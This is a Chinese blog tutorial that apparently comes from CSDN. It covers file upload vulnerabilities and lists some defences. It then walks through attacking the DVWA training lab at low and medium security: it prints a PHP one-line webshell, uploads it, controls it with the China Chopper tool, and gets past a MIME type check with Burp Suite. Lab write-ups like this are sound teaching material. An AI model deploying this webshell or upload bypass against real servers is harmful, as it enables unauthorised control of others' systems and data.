文件上传攻击

文章详细解释了文件上传攻击的原理,通过WebShell如PHP一句话木马,展示了如何利用文件上传漏洞进行权限提升。同时,介绍了防御措施,包括文件存储隔离、修改文件名和后缀以及根据业务分离保存路径。文中还通过两个不同安全级别的实例演示了攻击过程,使用了Burpsuite进行代理绕过和中国菜刀作为管理工具。
摘要由CSDN通过智能技术生成

一、原理

        文件上传攻击实质上就是拿下网站的控制权,户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向 服务器 上上传可执行的动态脚本文件。在我们的日常生活中经常会遇到,例如,我们在上传文件时,后台服务器对其文件检测不严时,通过修改后缀名进行执行木马病毒。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。

WebSell:以ASP、PHP、JSP等网页文件形式存在的一种命令执行环境,也叫网页后门。

利用方式

  • 一句话木马(意味着木马的攻击代码非常短,但是功能非常强大)
  • 能找到上传后的路径
  • 可能会有上传文件的策略

危害

  • 查看/上传/下载对方文件
  • 查看数据库信息
  • 可以执行系统命令
  • 欺骗用户进行恶意软件下载

防御措施

  • 上传文件的存储位置与服务器分离
  • 上传的文件重新 修改文件名、 文件后缀名
  • 文件上传的 上传保存路径根据业务进行分离
  • 下载时 根据重新生成的文件名进行下载

二、攻击实战

1.文件上传漏洞(级别:low)

配置实验环境

设置安全级别为low,进入到文件上传攻击界面。随意上传一个图片文件(小于100kb,前端限制上传文件大小),将照片成功上传到文件。

将图片进行上传

 根据提示的路径URL可以找到该图片

 创建一个PHP文件,内容如下:

<?php @eval($_POST[dmc]);?>  #dmc为变量,进行连接密码

 

将该文件上传,提示成功上传

 利用中国菜刀进行连接。在菜刀中进行添加SHELL的对话框,在地址输入刚才上传的PHP一句话木马地址:http://192.168.146.50/DVWA/hackable/uploads/mm.php  

中国菜刀:一款专业的网站管理软件(WebShell管理工具),小巧强大,只要支持动态脚本的网站都可以用中国菜刀进行管理。

下载地址:阿里云盘分享

 打开中国菜刀,进行连接

 中国菜刀主界面

 在主页面,点击右键,新建SHELL对话框。在地址栏输入刚才上传的一句话PHP木马

http://192.168.146.50/DVWA/hackable/uploads/mm.php后面的文本框填写文件中的变量dmc

进行连接

 

 进行shell连接,可以进行管理目标服务器的所有数据,可以进行文件上传和下载

 在这里,我们就已经利用文件上传漏洞进行提权,可以进行任意的操作,上传、下载、删除等。

2.文件上传漏洞(级别:medium)

 配置实验环境

设置安全级别为mdeium,进入到文件上传攻击界面。随意上传一个图片文件(小于100kb,前端限制上传文件大小),将照片成功上传到文件。在进行medium级别时,要提前删除low级别时上传的PHP文件,以免影响实验结果。

找到安装PhpStudy的目录,找到如下文件夹:(以我自己的电脑为例)

C:\Users\wu\Desktop\phpStudy\phpStudy\WWW\DVWA\hackable\uploads

 我们进行源代码查看,观察一下medium级别对文件上传的限制,我们发现限制文件的格式必须为image/jpeg 或者/image/png,并且限制文件不能超过100k。

 在源代码我们发现MIME类型为jpeg/png ,我们可以进行绕过,利用Burpsuite进行代理绕过。MIME默认类型:application/octet-stream,在进行绕过时,我们把类型改为image/jpeg 或者/image/png。

 开启代理后,我们继续上传之前写过的PHP文件(一句话木马),我们利用Burpsuite修改文件后缀名image/jpeg 或者/image/png,再进行放行数据包。

 进行修改默认文件类型,再进行放行数据包

修改成功后,我们成功上传文件到服务器。

  利用中国菜刀进行连接。在菜刀中进行添加SHELL的对话框,在地址输入刚才上传的PHP一句话木马地址:http://192.168.146.50/DVWA/hackable/uploads/mm.php  ,连接方式和上面一样,如果不懂,再看上面的步骤。

 

三、小结

        实验到这里基本结束了,我们在学习的时候一定要进行动手,不懂的问题要及时查阅资料并做好笔记。加油,相信你们可以的。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

以我之名,换我未来

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值